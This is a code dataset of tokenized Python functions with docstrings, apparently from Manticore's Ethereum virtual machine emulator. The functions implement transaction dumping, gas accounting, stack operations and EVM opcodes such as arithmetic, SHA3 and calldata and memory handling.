{"signature": "def dump(self, stream, state, mevm, conc_tx=None):", "body": "from ..ethereum import ABI  <EOL>from ..ethereum.manticore import flagged<EOL>is_something_symbolic = False<EOL>if conc_tx is None:<EOL><INDENT>conc_tx = self.concretize(state)<EOL><DEDENT>stream.write(\"<STR_LIT>\" % (self.sort, self.depth))<EOL>caller_solution = conc_tx.caller<EOL>caller_name = mevm.account_name(caller_solution)<EOL>stream.write(\"<STR_LIT>\" % (caller_name, caller_solution, flagged(issymbolic(self.caller))))<EOL>address_solution = conc_tx.address<EOL>address_name = mevm.account_name(address_solution)<EOL>stream.write(\"<STR_LIT>\" % (address_name, address_solution, flagged(issymbolic(self.address))))<EOL>stream.write(\"<STR_LIT>\" % (conc_tx.value, flagged(issymbolic(self.value))))<EOL>stream.write(\"<STR_LIT>\" % (conc_tx.gas, flagged(issymbolic(self.gas))))<EOL>tx_data = conc_tx.data<EOL>stream.write(\"<STR_LIT>\".format(binascii.hexlify(tx_data).decode(), flagged(issymbolic(self.data))))<EOL>if self.return_data is not None:<EOL><INDENT>return_data = conc_tx.return_data<EOL>stream.write(\"<STR_LIT>\".format(binascii.hexlify(return_data).decode(), flagged(issymbolic(self.return_data))))<EOL><DEDENT>metadata = mevm.get_metadata(self.address)<EOL>if self.sort == '<STR_LIT>':<EOL><INDENT>if metadata is not None:<EOL><INDENT>conc_args_data = conc_tx.data[len(metadata._init_bytecode):]<EOL>arguments = ABI.deserialize(metadata.get_constructor_arguments(), conc_args_data)<EOL>is_argument_symbolic = any(map(issymbolic, arguments))  <EOL>stream.write('<STR_LIT>')<EOL>stream.write(\"<STR_LIT>\")<EOL>stream.write('<STR_LIT:U+002C>'.join(map(repr, map(state.solve_one, arguments))))  <EOL>stream.write('<STR_LIT>' % (self.result, flagged(is_argument_symbolic)))<EOL><DEDENT><DEDENT>if self.sort == '<STR_LIT>':<EOL><INDENT>if metadata is not None:<EOL><INDENT>calldata = conc_tx.data<EOL>is_calldata_symbolic = issymbolic(self.data)<EOL>function_id = calldata[:<NUM_LIT:4>]  <EOL>signature = metadata.get_func_signature(function_id)<EOL>function_name = metadata.get_func_name(function_id)<EOL>if signature:<EOL><INDENT>_, arguments = ABI.deserialize(signature, calldata)<EOL><DEDENT>else:<EOL><INDENT>arguments = (calldata,)<EOL><DEDENT>return_data = None<EOL>if self.result == '<STR_LIT>':<EOL><INDENT>ret_types = metadata.get_func_return_types(function_id)<EOL>return_data = conc_tx.return_data<EOL>return_values = ABI.deserialize(ret_types, return_data)  <EOL><DEDENT>is_return_symbolic = issymbolic(self.return_data)<EOL>stream.write('<STR_LIT:\\n>')<EOL>stream.write(\"<STR_LIT>\")<EOL>stream.write(\"<STR_LIT>\" % function_name)<EOL>stream.write('<STR_LIT:U+002C>'.join(map(repr, arguments)))<EOL>stream.write('<STR_LIT>' % (self.result, flagged(is_calldata_symbolic)))<EOL>if return_data is not None:<EOL><INDENT>if len(return_values) == <NUM_LIT:1>:<EOL><INDENT>return_values = return_values[<NUM_LIT:0>]<EOL><DEDENT>stream.write('<STR_LIT>' % (return_values, flagged(is_return_symbolic)))<EOL><DEDENT>is_something_symbolic = is_calldata_symbolic or is_return_symbolic<EOL><DEDENT><DEDENT>stream.write('<STR_LIT>')<EOL>return is_something_symbolic<EOL>", "docstring": "Concretize and write a human readable version of the transaction into the stream. Used during testcase\ngeneration.\n\n:param stream: Output stream to write to. Typically a file.\n:param manticore.ethereum.State state: state that the tx exists in\n:param manticore.ethereum.ManticoreEVM mevm: manticore instance\n:return:", "id": "f17019:c0:m3"}
{"signature": "@property<EOL><INDENT>def is_human(self):<DEDENT>", "body": "return self.depth == <NUM_LIT:0><EOL>", "docstring": "Returns whether this is a transaction made by human (in a script).\n\nAs an example for:\n    contract A { function a(B b) { b.b(); } }\n    contract B { function b() {} }\n\nCalling `B.b()` makes a human transaction.\nCalling `A.a(B)` makes a human transaction which makes an internal transaction (b.b()).", "id": "f17019:c0:m7"}
{"signature": "def __reduce__(self):", "body": "return (self.__class__, (self.sort, self.address, self.price, self.data, self.caller, self.value, self.gas, self.depth, self.result, self.return_data))<EOL>", "docstring": "Implements serialization/pickle", "id": "f17019:c0:m11"}
{"signature": "def __init__(self, constraints, address, data, caller, value, bytecode, world=None, gas=<NUM_LIT>, **kwargs):", "body": "super().__init__(**kwargs)<EOL>if data is not None and not issymbolic(data):<EOL><INDENT>data_size = len(data)<EOL>data_symbolic = constraints.new_array(index_bits=<NUM_LIT>, value_bits=<NUM_LIT:8>, index_max=data_size, name=f'<STR_LIT>', avoid_collisions=True, default=<NUM_LIT:0>)<EOL>data_symbolic[<NUM_LIT:0>:data_size] = data<EOL>data = data_symbolic<EOL><DEDENT>if bytecode is not None and not issymbolic(bytecode):<EOL><INDENT>bytecode_size = len(bytecode)<EOL>bytecode_symbolic = constraints.new_array(index_bits=<NUM_LIT>, value_bits=<NUM_LIT:8>, index_max=bytecode_size, name=f'<STR_LIT>', avoid_collisions=True, default=<NUM_LIT:0>)<EOL>bytecode_symbolic[<NUM_LIT:0>:bytecode_size] = bytecode<EOL>bytecode = bytecode_symbolic<EOL><DEDENT>self._check_jumpdest = False<EOL>self._valid_jumpdests = set()<EOL>def extend_with_zeroes(b):<EOL><INDENT>try:<EOL><INDENT>for x in b:<EOL><INDENT>x = to_constant(x)<EOL>if isinstance(x, int):<EOL><INDENT>yield(x)<EOL><DEDENT>else:<EOL><INDENT>yield(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>for _ in range(<NUM_LIT:32>):<EOL><INDENT>yield(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>return<EOL><DEDENT><DEDENT>for i in EVMAsm.disassemble_all(extend_with_zeroes(bytecode)):<EOL><INDENT>if i.mnemonic == '<STR_LIT>':<EOL><INDENT>self._valid_jumpdests.add(i.pc)<EOL><DEDENT><DEDENT>self._constraints = constraints<EOL>self.memory = constraints.new_array(index_bits=<NUM_LIT>, value_bits=<NUM_LIT:8>, name=f'<STR_LIT>', avoid_collisions=True, default=<NUM_LIT:0>)<EOL>self.address = address<EOL>self.caller = caller  <EOL>self.data = data<EOL>self.value = value<EOL>self._bytecode = bytecode<EOL>self.suicides = set()<EOL>self.logs = []<EOL>self.pc = <NUM_LIT:0><EOL>self.stack = []<EOL>self._gas = Operators.ZEXTEND(gas, <NUM_LIT>)<EOL>self._world = world<EOL>self._allocated = <NUM_LIT:0><EOL>self._on_transaction = False  <EOL>self._checkpoint_data = None<EOL>self._published_pre_instruction_events = False<EOL>min_size = <NUM_LIT:0><EOL>max_size = len(self.data)<EOL>self._used_calldata_size = <NUM_LIT:0><EOL>self._calldata_size = len(self.data)<EOL>self._valid_jmpdests = set()<EOL>", "docstring": "Builds a Ethereum Virtual Machine instance\n\n:param memory: the initial memory\n:param address: the address of the account which owns the code that is executing.\n:param data: the byte array that is the input data to this execution\n:param caller: the address of the account which caused the code to be executing. A 160-bit code used for identifying Accounts\n:param value: the value, in Wei, passed to this account as part of the same procedure as execution. One Ether is defined as being 10**18 Wei\n:param bytecode: the byte array that is the machine code to be executed\n:param world: the EVMWorld object where the transaction is being executed\n:param gas: gas budget for this transaction", "id": "f17019:c16:m0"}
{"signature": "def _get_memfee(self, address, size=<NUM_LIT:1>):", "body": "if not issymbolic(size) and size == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>address = self.safe_add(address, size)<EOL>allocated = self.allocated<EOL>GMEMORY = <NUM_LIT:3><EOL>GQUADRATICMEMDENOM = <NUM_LIT>  <EOL>old_size = Operators.ZEXTEND(Operators.UDIV(self.safe_add(allocated, <NUM_LIT>), <NUM_LIT:32>), <NUM_LIT>)<EOL>new_size = Operators.ZEXTEND(Operators.UDIV(self.safe_add(address, <NUM_LIT>), <NUM_LIT:32>), <NUM_LIT>)<EOL>old_totalfee = self.safe_mul(old_size, GMEMORY) + Operators.UDIV(self.safe_mul(old_size, old_size), GQUADRATICMEMDENOM)<EOL>new_totalfee = self.safe_mul(new_size, GMEMORY) + Operators.UDIV(self.safe_mul(new_size, new_size), GQUADRATICMEMDENOM)<EOL>memfee = new_totalfee - old_totalfee<EOL>flag = Operators.UGT(new_totalfee, old_totalfee)<EOL>return Operators.ITEBV(<NUM_LIT>, size == <NUM_LIT:0>, <NUM_LIT:0>, Operators.ITEBV(<NUM_LIT>, flag, memfee, <NUM_LIT:0>))<EOL>", "docstring": "This calculates the amount of extra gas needed for accessing to\npreviously unused memory.\n\n:param address: base memory offset\n:param size: size of the memory access", "id": "f17019:c16:m7"}
{"signature": "def read_code(self, address, size=<NUM_LIT:1>):", "body": "assert address < len(self.bytecode)<EOL>value = self.bytecode[address:address + size]<EOL>if len(value) < size:<EOL><INDENT>value += '<STR_LIT:\\x00>' * (size - len(value))  <EOL><DEDENT>return value<EOL>", "docstring": "Read size byte from bytecode.\nIf less than size bytes are available result will be pad with \\x00", "id": "f17019:c16:m12"}
{"signature": "@property<EOL><INDENT>def instruction(self):<DEDENT>", "body": "<EOL>try:<EOL><INDENT>_decoding_cache = getattr(self, '<STR_LIT>')<EOL><DEDENT>except Exception:<EOL><INDENT>_decoding_cache = self._decoding_cache = {}<EOL><DEDENT>pc = self.pc<EOL>if isinstance(pc, Constant):<EOL><INDENT>pc = pc.value<EOL><DEDENT>if pc in _decoding_cache:<EOL><INDENT>return _decoding_cache[pc]<EOL><DEDENT>def getcode():<EOL><INDENT>bytecode = self.bytecode<EOL>for pc_i in range(pc, len(bytecode)):<EOL><INDENT>yield simplify(bytecode[pc_i]).value<EOL><DEDENT>while True:<EOL><INDENT>yield <NUM_LIT:0><EOL><DEDENT><DEDENT>instruction = EVMAsm.disassemble_one(getcode(), pc=pc, fork=DEFAULT_FORK)<EOL>_decoding_cache[pc] = instruction<EOL>return instruction<EOL>", "docstring": "Current instruction pointed by self.pc", "id": "f17019:c16:m15"}
{"signature": "def _push(self, value):", "body": "assert isinstance(value, int) or isinstance(value, BitVec) and value.size == <NUM_LIT><EOL>if len(self.stack) >= <NUM_LIT>:<EOL><INDENT>raise StackOverflow()<EOL><DEDENT>if isinstance(value, int):<EOL><INDENT>value = value & TT256M1<EOL><DEDENT>value = simplify(value)<EOL>if isinstance(value, Constant) and not value.taint:<EOL><INDENT>value = value.value<EOL><DEDENT>self.stack.append(value)<EOL>", "docstring": "Push into the stack\n\n      ITEM0\n      ITEM1\n      ITEM2\nsp->  {empty}", "id": "f17019:c16:m16"}
{"signature": "def _top(self, n=<NUM_LIT:0>):", "body": "if len(self.stack) - n < <NUM_LIT:0>:<EOL><INDENT>raise StackUnderflow()<EOL><DEDENT>return self.stack[n - <NUM_LIT:1>]<EOL>", "docstring": "Read a value from the top of the stack without removing it", "id": "f17019:c16:m17"}
{"signature": "def _pop(self):", "body": "if len(self.stack) == <NUM_LIT:0>:<EOL><INDENT>raise StackUnderflow()<EOL><DEDENT>return self.stack.pop()<EOL>", "docstring": "Pop a value from the stack", "id": "f17019:c16:m18"}
{"signature": "def _checkpoint(self):", "body": "<EOL>if self._checkpoint_data is None:<EOL><INDENT>if not self._published_pre_instruction_events:<EOL><INDENT>self._published_pre_instruction_events = True<EOL>self._publish('<STR_LIT>', self.pc)<EOL>self._publish('<STR_LIT>', self.pc, self.instruction)<EOL>self._publish('<STR_LIT>', self.instruction, self._top_arguments())<EOL><DEDENT>pc = self.pc<EOL>instruction = self.instruction<EOL>old_gas = self.gas<EOL>allocated = self._allocated<EOL>arguments = self._pop_arguments()<EOL>fee = self._calculate_gas(*arguments)<EOL>self._checkpoint_data = (pc, old_gas, instruction, arguments, fee, allocated)<EOL><DEDENT>return self._checkpoint_data<EOL>", "docstring": "Save and/or get a state checkpoint previous to current instruction", "id": "f17019:c16:m27"}
{"signature": "def _rollback(self):", "body": "last_pc, last_gas, last_instruction, last_arguments, fee, allocated = self._checkpoint_data<EOL>self._push_arguments(last_arguments)<EOL>self._gas = last_gas<EOL>self._pc = last_pc<EOL>self._allocated = allocated<EOL>self._checkpoint_data = None<EOL>", "docstring": "Revert the stack, gas, pc and memory allocation so it looks like before executing the instruction", "id": "f17019:c16:m28"}
{"signature": "def _set_check_jmpdest(self, flag=True):", "body": "self._check_jumpdest = flag<EOL>", "docstring": "Next instruction must be a JUMPDEST iff `flag` holds.\n\nNote that at this point `flag` can be the conditional from a JUMPI\ninstruction hence potentially a symbolic value.", "id": "f17019:c16:m29"}
{"signature": "def _check_jmpdest(self):", "body": "should_check_jumpdest = self._check_jumpdest<EOL>if issymbolic(should_check_jumpdest):<EOL><INDENT>should_check_jumpdest_solutions = solver.get_all_values(self.constraints, should_check_jumpdest)<EOL>if len(should_check_jumpdest_solutions) != <NUM_LIT:1>:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>should_check_jumpdest = should_check_jumpdest_solutions[<NUM_LIT:0>]<EOL><DEDENT>if should_check_jumpdest:<EOL><INDENT>self._check_jumpdest = False<EOL>pc = self.pc.value if isinstance(self.pc, Constant) else self.pc<EOL>if pc not in self._valid_jumpdests:<EOL><INDENT>raise InvalidOpcode()<EOL><DEDENT><DEDENT>", "docstring": "If the previous instruction was a JUMP/JUMPI and the conditional was\nTrue, this checks that the current instruction must be a JUMPDEST.\n\nHere, if symbolic, the conditional `self._check_jumpdest` would be\nalready constrained to a single concrete value.", "id": "f17019:c16:m30"}
{"signature": "def _store(self, offset, value, size=<NUM_LIT:1>):", "body": "self.memory.write_BE(offset, value, size)<EOL>for i in range(size):<EOL><INDENT>self._publish('<STR_LIT>', offset + i, Operators.EXTRACT(value, (size - i - <NUM_LIT:1>) * <NUM_LIT:8>, <NUM_LIT:8>))<EOL><DEDENT>", "docstring": "Stores value in memory as a big endian", "id": "f17019:c16:m37"}
{"signature": "def INVALID(self):", "body": "raise InvalidOpcode()<EOL>", "docstring": "Halts execution", "id": "f17019:c16:m40"}
{"signature": "def STOP(self):", "body": "raise EndTx('<STR_LIT>')<EOL>", "docstring": "Halts execution", "id": "f17019:c16:m41"}
{"signature": "def ADD(self, a, b):", "body": "return a + b<EOL>", "docstring": "Addition operation", "id": "f17019:c16:m42"}
{"signature": "def MUL(self, a, b):", "body": "return a * b<EOL>", "docstring": "Multiplication operation", "id": "f17019:c16:m43"}
{"signature": "def SUB(self, a, b):", "body": "return a - b<EOL>", "docstring": "Subtraction operation", "id": "f17019:c16:m44"}
{"signature": "def DIV(self, a, b):", "body": "try:<EOL><INDENT>result = Operators.UDIV(a, b)<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>result = <NUM_LIT:0><EOL><DEDENT>return Operators.ITEBV(<NUM_LIT>, b == <NUM_LIT:0>, <NUM_LIT:0>, result)<EOL>", "docstring": "Integer division operation", "id": "f17019:c16:m45"}
{"signature": "def SDIV(self, a, b):", "body": "s0, s1 = to_signed(a), to_signed(b)<EOL>try:<EOL><INDENT>result = (Operators.ABS(s0) // Operators.ABS(s1) * Operators.ITEBV(<NUM_LIT>, (s0 < <NUM_LIT:0>) != (s1 < <NUM_LIT:0>), -<NUM_LIT:1>, <NUM_LIT:1>))<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>result = <NUM_LIT:0><EOL><DEDENT>result = Operators.ITEBV(<NUM_LIT>, b == <NUM_LIT:0>, <NUM_LIT:0>, result)<EOL>if not issymbolic(result):<EOL><INDENT>result = to_signed(result)<EOL><DEDENT>return result<EOL>", "docstring": "Signed integer division operation (truncated)", "id": "f17019:c16:m46"}
{"signature": "def MOD(self, a, b):", "body": "try:<EOL><INDENT>result = Operators.ITEBV(<NUM_LIT>, b == <NUM_LIT:0>, <NUM_LIT:0>, a % b)<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>result = <NUM_LIT:0><EOL><DEDENT>return result<EOL>", "docstring": "Modulo remainder operation", "id": "f17019:c16:m47"}
{"signature": "def SMOD(self, a, b):", "body": "s0, s1 = to_signed(a), to_signed(b)<EOL>sign = Operators.ITEBV(<NUM_LIT>, s0 < <NUM_LIT:0>, -<NUM_LIT:1>, <NUM_LIT:1>)<EOL>try:<EOL><INDENT>result = (Operators.ABS(s0) % Operators.ABS(s1)) * sign<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>result = <NUM_LIT:0><EOL><DEDENT>return Operators.ITEBV(<NUM_LIT>, s1 == <NUM_LIT:0>, <NUM_LIT:0>, result)<EOL>", "docstring": "Signed modulo remainder operation", "id": "f17019:c16:m48"}
{"signature": "def ADDMOD(self, a, b, c):", "body": "try:<EOL><INDENT>result = Operators.ITEBV(<NUM_LIT>, c == <NUM_LIT:0>, <NUM_LIT:0>, (a + b) % c)<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>result = <NUM_LIT:0><EOL><DEDENT>return result<EOL>", "docstring": "Modulo addition operation", "id": "f17019:c16:m49"}
{"signature": "def MULMOD(self, a, b, c):", "body": "try:<EOL><INDENT>result = Operators.ITEBV(<NUM_LIT>, c == <NUM_LIT:0>, <NUM_LIT:0>, (a * b) % c)<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>result = <NUM_LIT:0><EOL><DEDENT>return result<EOL>", "docstring": "Modulo addition operation", "id": "f17019:c16:m50"}
{"signature": "def EXP_gas(self, base, exponent):", "body": "EXP_SUPPLEMENTAL_GAS = <NUM_LIT:10>   <EOL>def nbytes(e):<EOL><INDENT>result = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:32>):<EOL><INDENT>result = Operators.ITEBV(<NUM_LIT>, Operators.EXTRACT(e, i * <NUM_LIT:8>, <NUM_LIT:8>) != <NUM_LIT:0>, i + <NUM_LIT:1>, result)<EOL><DEDENT>return result<EOL><DEDENT>return EXP_SUPPLEMENTAL_GAS * nbytes(exponent)<EOL>", "docstring": "Calculate extra gas fee", "id": "f17019:c16:m51"}
{"signature": "def EXP(self, base, exponent):", "body": "<EOL>return pow(base, exponent, TT256)<EOL>", "docstring": "Exponential operation\nThe zero-th power of zero 0^0 is defined to be one", "id": "f17019:c16:m52"}
{"signature": "def SIGNEXTEND(self, size, value):", "body": "<EOL>testbit = Operators.ITEBV(<NUM_LIT>, size <= <NUM_LIT>, size * <NUM_LIT:8> + <NUM_LIT:7>, <NUM_LIT>)<EOL>result1 = (value | (TT256 - (<NUM_LIT:1> << testbit)))<EOL>result2 = (value & ((<NUM_LIT:1> << testbit) - <NUM_LIT:1>))<EOL>result = Operators.ITEBV(<NUM_LIT>, (value & (<NUM_LIT:1> << testbit)) != <NUM_LIT:0>, result1, result2)<EOL>return Operators.ITEBV(<NUM_LIT>, size <= <NUM_LIT>, result, value)<EOL>", "docstring": "Extend length of two's complement signed integer", "id": "f17019:c16:m53"}
{"signature": "def LT(self, a, b):", "body": "return Operators.ITEBV(<NUM_LIT>, Operators.ULT(a, b), <NUM_LIT:1>, <NUM_LIT:0>)<EOL>", "docstring": "Less-than comparison", "id": "f17019:c16:m54"}
{"signature": "def GT(self, a, b):", "body": "return Operators.ITEBV(<NUM_LIT>, Operators.UGT(a, b), <NUM_LIT:1>, <NUM_LIT:0>)<EOL>", "docstring": "Greater-than comparison", "id": "f17019:c16:m55"}
{"signature": "def SLT(self, a, b):", "body": "<EOL>s0, s1 = to_signed(a), to_signed(b)<EOL>return Operators.ITEBV(<NUM_LIT>, s0 < s1, <NUM_LIT:1>, <NUM_LIT:0>)<EOL>", "docstring": "Signed less-than comparison", "id": "f17019:c16:m56"}
{"signature": "def SGT(self, a, b):", "body": "<EOL>s0, s1 = to_signed(a), to_signed(b)<EOL>return Operators.ITEBV(<NUM_LIT>, s0 > s1, <NUM_LIT:1>, <NUM_LIT:0>)<EOL>", "docstring": "Signed greater-than comparison", "id": "f17019:c16:m57"}
{"signature": "def EQ(self, a, b):", "body": "return Operators.ITEBV(<NUM_LIT>, a == b, <NUM_LIT:1>, <NUM_LIT:0>)<EOL>", "docstring": "Equality comparison", "id": "f17019:c16:m58"}
{"signature": "def ISZERO(self, a):", "body": "return Operators.ITEBV(<NUM_LIT>, a == <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>)<EOL>", "docstring": "Simple not operator", "id": "f17019:c16:m59"}
{"signature": "def AND(self, a, b):", "body": "return a & b<EOL>", "docstring": "Bitwise AND operation", "id": "f17019:c16:m60"}
{"signature": "def OR(self, a, b):", "body": "return a | b<EOL>", "docstring": "Bitwise OR operation", "id": "f17019:c16:m61"}
{"signature": "def XOR(self, a, b):", "body": "return a ^ b<EOL>", "docstring": "Bitwise XOR operation", "id": "f17019:c16:m62"}
{"signature": "def NOT(self, a):", "body": "return ~a<EOL>", "docstring": "Bitwise NOT operation", "id": "f17019:c16:m63"}
{"signature": "def BYTE(self, offset, value):", "body": "offset = Operators.ITEBV(<NUM_LIT>, offset < <NUM_LIT:32>, (<NUM_LIT> - offset) * <NUM_LIT:8>, <NUM_LIT>)<EOL>return Operators.ZEXTEND(Operators.EXTRACT(value, offset, <NUM_LIT:8>), <NUM_LIT>)<EOL>", "docstring": "Retrieve single byte from word", "id": "f17019:c16:m64"}
{"signature": "@concretized_args(size='<STR_LIT>')<EOL><INDENT>def SHA3(self, start, size):<DEDENT>", "body": "<EOL>data = self.try_simplify_to_constant(self.read_buffer(start, size))<EOL>if issymbolic(data):<EOL><INDENT>known_sha3 = {}<EOL>self._publish('<STR_LIT>', data, known_sha3)  <EOL>value = <NUM_LIT:0>  <EOL>known_hashes_cond = False<EOL>for key, hsh in known_sha3.items():<EOL><INDENT>assert not issymbolic(key), \"<STR_LIT>\"<EOL>cond = key == data<EOL>known_hashes_cond = Operators.OR(cond, known_hashes_cond)<EOL>value = Operators.ITEBV(<NUM_LIT>, cond, hsh, value)<EOL><DEDENT>return value<EOL><DEDENT>value = sha3.keccak_256(data).hexdigest()<EOL>value = int(value, <NUM_LIT:16>)<EOL>self._publish('<STR_LIT>', data, value)<EOL>logger.info(\"<STR_LIT>\", data, value)<EOL>return value<EOL>", "docstring": "Compute Keccak-256 hash", "id": "f17019:c16:m67"}
{"signature": "def ADDRESS(self):", "body": "return self.address<EOL>", "docstring": "Get address of currently executing account", "id": "f17019:c16:m68"}
{"signature": "def BALANCE(self, account):", "body": "return self.world.get_balance(account)<EOL>", "docstring": "Get balance of the given account", "id": "f17019:c16:m70"}
{"signature": "def ORIGIN(self):", "body": "return Operators.ZEXTEND(self.world.tx_origin(), <NUM_LIT>)<EOL>", "docstring": "Get execution origination address", "id": "f17019:c16:m71"}
{"signature": "def CALLER(self):", "body": "return Operators.ZEXTEND(self.caller, <NUM_LIT>)<EOL>", "docstring": "Get caller address", "id": "f17019:c16:m72"}
{"signature": "def CALLVALUE(self):", "body": "return self.value<EOL>", "docstring": "Get deposited value by the instruction/transaction responsible for this execution", "id": "f17019:c16:m73"}
{"signature": "def CALLDATALOAD(self, offset):", "body": "if issymbolic(offset):<EOL><INDENT>if solver.can_be_true(self._constraints, offset == self._used_calldata_size):<EOL><INDENT>self.constraints.add(offset == self._used_calldata_size)<EOL><DEDENT>raise ConcretizeArgument(<NUM_LIT:1>, policy='<STR_LIT>')<EOL><DEDENT>self._use_calldata(offset, <NUM_LIT:32>)<EOL>data_length = len(self.data)<EOL>bytes = []<EOL>for i in range(<NUM_LIT:32>):<EOL><INDENT>try:<EOL><INDENT>c = Operators.ITEBV(<NUM_LIT:8>, offset + i < data_length, self.data[offset + i], <NUM_LIT:0>)<EOL><DEDENT>except IndexError:<EOL><INDENT>c = <NUM_LIT:0><EOL><DEDENT>bytes.append(c)<EOL><DEDENT>return Operators.CONCAT(<NUM_LIT>, *bytes)<EOL>", "docstring": "Get input data of current environment", "id": "f17019:c16:m74"}
{"signature": "def CALLDATASIZE(self):", "body": "return self._calldata_size<EOL>", "docstring": "Get size of input data in current environment", "id": "f17019:c16:m76"}
{"signature": "def CALLDATACOPY(self, mem_offset, data_offset, size):", "body": "if issymbolic(size):<EOL><INDENT>if solver.can_be_true(self._constraints, size <= len(self.data) + <NUM_LIT:32>):<EOL><INDENT>self.constraints.add(size <= len(self.data) + <NUM_LIT:32>)<EOL><DEDENT>raise ConcretizeArgument(<NUM_LIT:3>, policy='<STR_LIT>')<EOL><DEDENT>if issymbolic(data_offset):<EOL><INDENT>if solver.can_be_true(self._constraints, data_offset == self._used_calldata_size):<EOL><INDENT>self.constraints.add(data_offset == self._used_calldata_size)<EOL><DEDENT>raise ConcretizeArgument(<NUM_LIT:2>, policy='<STR_LIT>')<EOL><DEDENT>self._use_calldata(data_offset, size)<EOL>self._allocate(mem_offset, size)<EOL>for i in range(size):<EOL><INDENT>try:<EOL><INDENT>c = Operators.ITEBV(<NUM_LIT:8>, data_offset + i < len(self.data), Operators.ORD(self.data[data_offset + i]), <NUM_LIT:0>)<EOL><DEDENT>except IndexError:<EOL><INDENT>c = <NUM_LIT:0><EOL><DEDENT>self._store(mem_offset + i, c)<EOL><DEDENT>", "docstring": "Copy input data in current environment to memory", "id": "f17019:c16:m78"}
{"signature": "def CODESIZE(self):", "body": "return len(self.bytecode)<EOL>", "docstring": "Get size of code running in current environment", "id": "f17019:c16:m79"}
{"signature": "@concretized_args(code_offset='<STR_LIT>', size='<STR_LIT>')<EOL><INDENT>def CODECOPY(self, mem_offset, code_offset, size):<DEDENT>", "body": "self._allocate(mem_offset, size)<EOL>GCOPY = <NUM_LIT:3>             <EOL>copyfee = self.safe_mul(GCOPY, Operators.UDIV(self.safe_add(size, <NUM_LIT>), <NUM_LIT:32>))<EOL>self._consume(copyfee)<EOL>if issymbolic(size):<EOL><INDENT>max_size = solver.max(self.constraints, size)<EOL><DEDENT>else:<EOL><INDENT>max_size = size<EOL><DEDENT>for i in range(max_size):<EOL><INDENT>if issymbolic(i < size):<EOL><INDENT>default = Operators.ITEBV(<NUM_LIT:8>, i < size, <NUM_LIT:0>, self._load(mem_offset + i, <NUM_LIT:1>))  <EOL><DEDENT>else:<EOL><INDENT>if i < size:<EOL><INDENT>default = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>default = self._load(mem_offset + i, <NUM_LIT:1>)<EOL><DEDENT><DEDENT>if issymbolic(code_offset):<EOL><INDENT>value = Operators.ITEBV(<NUM_LIT:8>, code_offset + i >= len(self.bytecode), default, self.bytecode[code_offset + i])<EOL><DEDENT>else:<EOL><INDENT>if code_offset + i >= len(self.bytecode):<EOL><INDENT>value = default<EOL><DEDENT>else:<EOL><INDENT>value = self.bytecode[code_offset + i]<EOL><DEDENT><DEDENT>self._store(mem_offset + i, value)<EOL><DEDENT>self._publish('<STR_LIT>', code_offset, size)<EOL>", "docstring": "Copy code running in current environment to memory", "id": "f17019:c16:m81"}
{"signature": "def GASPRICE(self):", "body": "return self.world.tx_gasprice()<EOL>", "docstring": "Get price of gas in current environment", "id": "f17019:c16:m82"}
{"signature": "@concretized_args(account='<STR_LIT>')<EOL><INDENT>def EXTCODESIZE(self, account):<DEDENT>", "body": "return len(self.world.get_code(account))<EOL>", "docstring": "Get size of an account's code", "id": "f17019:c16:m83"}
{"signature": "@concretized_args(account='<STR_LIT>')<EOL><INDENT>def EXTCODECOPY(self, account, address, offset, size):<DEDENT>", "body": "extbytecode = self.world.get_code(account)<EOL>self._allocate(address + size)<EOL>for i in range(size):<EOL><INDENT>if offset + i < len(extbytecode):<EOL><INDENT>self._store(address + i, extbytecode[offset + i])<EOL><DEDENT>else:<EOL><INDENT>self._store(address + i, <NUM_LIT:0>)<EOL><DEDENT><DEDENT>", "docstring": "Copy an account's code to memory", "id": "f17019:c16:m85"}
{"signature": "def BLOCKHASH(self, a):", "body": "return self.world.block_hash(a)<EOL>", "docstring": "Get the hash of one of the 256 most recent complete blocks", "id": "f17019:c16:m89"}
{"signature": "def COINBASE(self):", "body": "return self.world.block_coinbase()<EOL>", "docstring": "Get the block's beneficiary address", "id": "f17019:c16:m90"}
{"signature": "def TIMESTAMP(self):", "body": "return self.world.block_timestamp()<EOL>", "docstring": "Get the block's timestamp", "id": "f17019:c16:m91"}
{"signature": "def NUMBER(self):", "body": "return self.world.block_number()<EOL>", "docstring": "Get the block's number", "id": "f17019:c16:m92"}
{"signature": "def DIFFICULTY(self):", "body": "return self.world.block_difficulty()<EOL>", "docstring": "Get the block's difficulty", "id": "f17019:c16:m93"}
{"signature": "def GASLIMIT(self):", "body": "return self.world.block_gaslimit()<EOL>", "docstring": "Get the block's gas limit", "id": "f17019:c16:m94"}
{"signature": "def POP(self, a):", "body": "<EOL>pass<EOL>", "docstring": "Remove item from stack", "id": "f17019:c16:m95"}
{"signature": "def MLOAD(self, address):", "body": "self._allocate(address, <NUM_LIT:32>)<EOL>value = self._load(address, <NUM_LIT:32>)<EOL>return value<EOL>", "docstring": "Load word from memory", "id": "f17019:c16:m97"}
{"signature": "def MSTORE(self, address, value):", "body": "if istainted(self.pc):<EOL><INDENT>for taint in get_taints(self.pc):<EOL><INDENT>value = taint_with(value, taint)<EOL><DEDENT><DEDENT>self._allocate(address, <NUM_LIT:32>)<EOL>self._store(address, value, <NUM_LIT:32>)<EOL>", "docstring": "Save word to memory", "id": "f17019:c16:m99"}
{"signature": "def MSTORE8(self, address, value):", "body": "if istainted(self.pc):<EOL><INDENT>for taint in get_taints(self.pc):<EOL><INDENT>value = taint_with(value, taint)<EOL><DEDENT><DEDENT>self._allocate(address, <NUM_LIT:1>)<EOL>self._store(address, Operators.EXTRACT(value, <NUM_LIT:0>, <NUM_LIT:8>), <NUM_LIT:1>)<EOL>", "docstring": "Save byte to memory", "id": "f17019:c16:m101"}
